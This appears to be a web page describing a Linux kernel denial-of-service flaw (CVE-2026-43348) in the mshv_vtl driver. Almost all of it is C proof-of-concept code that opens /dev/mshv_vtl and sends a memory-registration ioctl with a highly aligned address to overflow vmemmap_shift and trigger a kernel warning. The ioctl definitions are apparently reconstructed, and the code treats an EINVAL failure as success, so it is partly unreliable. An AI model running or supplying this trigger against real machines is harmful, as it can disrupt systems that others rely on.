CVE-2026-43348 Linux内核mshv_vtl内存注册拒绝服务漏洞

/* * PoC for CVE-2026-43348 * Triggering vmemmap_shift overflow in mshv_vtl driver. * This requires a system with mshv_vtl support and appropriate hardware. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <errno.h> // IOCTL definitions based on mshv_vtl implementation #define MSHV_IOCTL_TYPE 0xB8 #define MSHV_ADD_VTL0_MEMORY _IOW(MSHV_IOCTL_TYPE, 0x01, struct mshv_vtl_mem_args) struct mshv_vtl_mem_args { unsigned long long gpa; // Guest Physical Address unsigned long long size; // Size of memory region unsigned long long source; // Source mapping }; int main() { int fd = -1; int ret = -1; struct mshv_vtl_mem_args args; // Open the mshv_vtl device fd = open("/dev/mshv_vtl", O_RDWR); if (fd < 0) { perror("[-] Failed to open /dev/mshv_vtl"); printf("[-] Ensure you have the required permissions and hardware support.\n"); return 1; } printf("[+] Device opened successfully.\n"); // Setup arguments to trigger the vulnerability // Use a highly aligned address (e.g., 0x800000000000) which has many trailing zeros. // This causes vmemmap_shift calculation to exceed MAX_FOLIO_ORDER. args.gpa = 0x800000000000ULL; args.size = 0x10000000ULL; // 256MB size args.source = 0; printf("[*] Attempting to add VTL0 memory with GPA: 0x%llx\n", args.gpa); // Invoke the IOCTL ret = ioctl(fd, MSHV_ADD_VTL0_MEMORY, &args); if (ret < 0) { if (errno == EINVAL) { printf("[+] IOCTL failed with EINVAL. The kernel likely rejected the folio size.\n"); printf("[+] Vulnerability triggered (check dmesg for WARNING).\n"); } else { perror("[-] IOCTL failed with unexpected error"); } } else { printf("[-] IOCTL succeeded. The system might be patched or alignment requirements differ.\n"); } close(fd); return 0; }